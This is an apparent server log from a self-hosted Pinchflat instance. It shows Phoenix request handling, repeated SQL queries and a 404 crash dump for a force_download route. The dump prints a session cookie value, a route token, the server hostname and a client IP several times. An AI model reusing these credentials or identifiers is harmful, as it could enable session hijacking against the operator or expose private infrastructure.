[info] GET /sources/opml.xml 17:53:42.500 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.opml_feed/2 Parameters: %{"route_token" => "c0131efe-51bf-4cfe-87a8-4c4d7dd3c754"} Pipelines: [:maybe_basic_auth, :token_protected_route] 17:53:42.500 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.501 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=6.8ms SELECT s0."custom_name", s0."uuid" FROM "sources" AS s0 WHERE (s0."marked_for_deletion_at" IS NULL) ORDER BY s0."custom_name" [] 17:53:42.502 [info] Sent 200 in 2ms 17:53:42.509 [info] Sent 200 in 16ms 17:53:42.515 [info] GET /sources/2/media/469491/force_download 17:53:42.515 [debug] QUERY OK source="settings" db=0.1ms idle=20.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.515 [debug] QUERY OK source="settings" db=0.0ms idle=20.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.515 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:42.516 [error] #PID<0.162934.0> running PinchflatWeb.Endpoint (connection #PID<0.162933.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/469491/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/469491/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162933.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48144}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162934.0>, params: %{}, path_info: ["sources", "2", "media", "469491", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/media/469491/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT1kiRJQjpsEACT9D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162933.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48144}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/469491/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162933.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48144}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162934.0>, params: %{}, path_info: ["sources", "2", "media", "469491", "force_download"], pat (truncated) 17:53:42.583 [info] GET /sources/2/ 17:53:42.583 [info] GET /sources/2/ 17:53:42.584 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 17:53:42.584 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 17:53:42.584 [debug] QUERY OK source="sources" db=0.6ms idle=82.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.585 [debug] QUERY OK source="sources" db=0.8ms idle=83.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.585 [debug] QUERY OK source="media_profiles" db=0.1ms idle=69.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.585 [debug] QUERY OK source="media_profiles" db=0.1ms idle=69.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.591 [debug] QUERY OK source="tasks" db=5.4ms idle=0.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 17:53:42.592 [debug] QUERY OK source="oban_jobs" db=1.1ms idle=6.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17069] 17:53:42.593 [info] GET /sources/2/edit 17:53:42.593 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 17:53:42.595 [debug] QUERY OK source="settings" db=2.7ms queue=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.595 [debug] QUERY OK source="tasks" db=10.4ms idle=6.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 17:53:42.596 [debug] QUERY OK source="sources" db=2.3ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.596 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.596 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=3.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17069] 17:53:42.597 [debug] QUERY OK source="media_profiles" db=0.9ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 17:53:42.597 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.597 [debug] QUERY OK source="settings" db=0.7ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.598 [debug] QUERY OK source="settings" db=0.5ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.598 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.598 [debug] QUERY OK source="settings" db=0.5ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.598 [debug] QUERY OK source="settings" db=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.599 [debug] QUERY OK source="sources" db=0.2ms queue=0.3ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.599 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.600 [debug] QUERY OK source="media_items" db=1.0ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:53:42.600 [debug] QUERY OK source="sources" db=0.6ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.601 [info] Sent 200 in 8ms 17:53:42.605 [info] GET /sources/1 17:53:42.605 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 17:53:42.607 [debug] QUERY OK source="sources" db=1.4ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.607 [debug] QUERY OK source="media_items" db=6.6ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:53:42.607 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.608 [debug] QUERY OK source="sources" db=0.4ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.609 [debug] QUERY OK source="media_items" db=7.7ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:53:42.609 [debug] QUERY OK source="media_items" db=0.7ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 17:53:42.610 [debug] QUERY OK source="tasks" db=1.9ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 17:53:42.611 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=1.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17070] 17:53:42.611 [debug] QUERY OK source="media_items" db=1.4ms queue=0.7ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:53:42.611 [debug] QUERY OK source="media_items" db=2.5ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:53:42.612 [debug] QUERY OK source="settings" db=0.6ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.612 [debug] QUERY OK source="sources" db=0.2ms idle=1.9ms SELECT s0."id", 